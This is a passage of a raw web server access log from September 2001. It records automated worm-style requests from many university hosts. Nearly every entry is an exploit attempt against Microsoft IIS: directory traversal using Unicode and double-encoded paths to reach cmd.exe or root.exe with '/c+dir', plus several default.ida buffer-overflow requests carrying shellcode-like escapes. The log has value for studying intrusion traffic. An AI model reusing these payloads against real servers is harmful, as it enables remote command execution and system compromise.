/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:52:47: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:02: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:02: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:02: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:53:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 08:57:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 08:57:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 08:57:04: [209.10.27.139] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:00:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:00:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:00:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:02:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:02:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:02:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 09:11:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:15:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:19:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:19:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:19:28: [128.163.95.231] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:20:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:20:12: [128.163.95.231] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:20:31: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:20:31: [128.163.95.231] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:20:49: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:20:49: [128.163.95.231] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:21:08: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:21:08: [128.163.95.231] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:21:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:21:26: [128.163.95.231] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:21:44: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:21:45: [128.163.95.231] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:03: [128.163.95.231] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:22: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:22: [128.163.95.231] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:40: [128.163.95.231] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:22:59: [128.163.95.231] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:23:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:23:17: [128.163.95.231] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:23:36: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:23:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:23:36: [128.163.95.231] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:23:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:23:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:23:56: [128.163.95.231] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:14: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:14: [128.163.95.231] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:33: [128.163.95.231] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:24:55: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 09:25:11: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 09:25:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:32: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:32: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:32: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:27:35: BOS-ADMIN101.BU.EDU [128.197.235.101] "" 20010919 09:32:41: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:32:41: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir 